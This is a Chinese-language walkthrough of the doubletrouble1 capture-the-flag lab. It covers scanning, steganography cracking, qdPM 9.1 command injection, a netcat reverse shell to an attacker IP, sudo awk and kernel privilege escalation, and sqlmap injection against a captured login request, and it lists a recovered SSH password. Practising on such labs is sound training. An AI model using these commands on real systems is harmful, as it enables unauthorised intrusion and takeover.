doubletrouble1靶场详解
doubletrouble1靶场复盘
首先扫描到ip后对ip单独一个全面扫描。
nmap -sP 192.168.102.0/24
同时扫描一下目录，扫到一个secret，打开看一下。
dirsearch -u http://192.168.102.165
发现里面是一个图片，下载到我们kali 中去，因为都说了是秘密，所以这个图片肯定有点问题。
用binwalk没有发现里面有啥东西
wget http://192.168.102.165/secret/doubletrouble.jpg
但是steghide发现里面隐写了东西，因为需要输入密码，所以里面肯定是有东西的。
我们可以直接利用kali自带的这个工具爆破一下，但是太慢了
stegcracker 图片地址 字典地址
dpkg -i stegseek_0.6-1.deb
在github上找到一个工具叫做stegseek说是全世界最快的爆破工具，下载到kali中安装一下。
stegseek 图片地址 字典地址
一瞬间就跑出来密码了。
我们解密一下发现里面是一个txt，txt中是一个邮箱和密码。
我们的主页面但是我们发现是用的一个qdPM 9.1的CMS。
搜索了一下发现果真有这个的漏洞。
下载到kali中运行发现需要三个参数，地址，邮箱和密码，我们刚好利用刚才找到的用户名密码。
直接往里面注入了一个cmd，我们可以直接做一个反弹shell
nc -e /bin/bash 192.168.102.129 8888
拿到shell以后sudo -l发现简直白送，我们awk提权直接拿到root
本来以为直接结束了，看看flag吧，但是没想到还有一个ova
我们拷贝出来，然后安装到虚拟机。
scp [email protected]:/root/doubletrouble.ova /root
安装好后我也没扫描ip，刚才的ip是165，这个肯定是166.
发现有一个登陆页面，用bp抓包看看，发现是post请求。
把抓到的内容复制到一个空文档中去，用sqlmap跑一下，这里面的内容不能修改，空行也不可以删除，会出错。
发现是有数据库的。
POST /index.php HTTP/1.1
Host: 192.168.102.166
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.102.166
Connection: close
Referer: http://192.168.102.166/
Upgrade-Insecure-Requests: 1
uname=1&psw=1&btnLogin=Login
再查找一下数据库中的表，发现一个users表。
显示出里面的列，一个username和password两个属性。
我们查看一下里面的内容，发现有两个用户。
尝试了一下clapton用户可以ssh登陆。
user:clapton pass:ZubZub99
以前见过exim4提权，但是发现在这里行不通，就查看了一下内核。
搜索了一下有没有漏洞，结果发现一大堆漏洞，直接内核提权，我下载的是40616.c这个。
searchsploit linux 3.2
下载到我们靶机中去。
加个权限，然后gcc编译一下，执行就root了
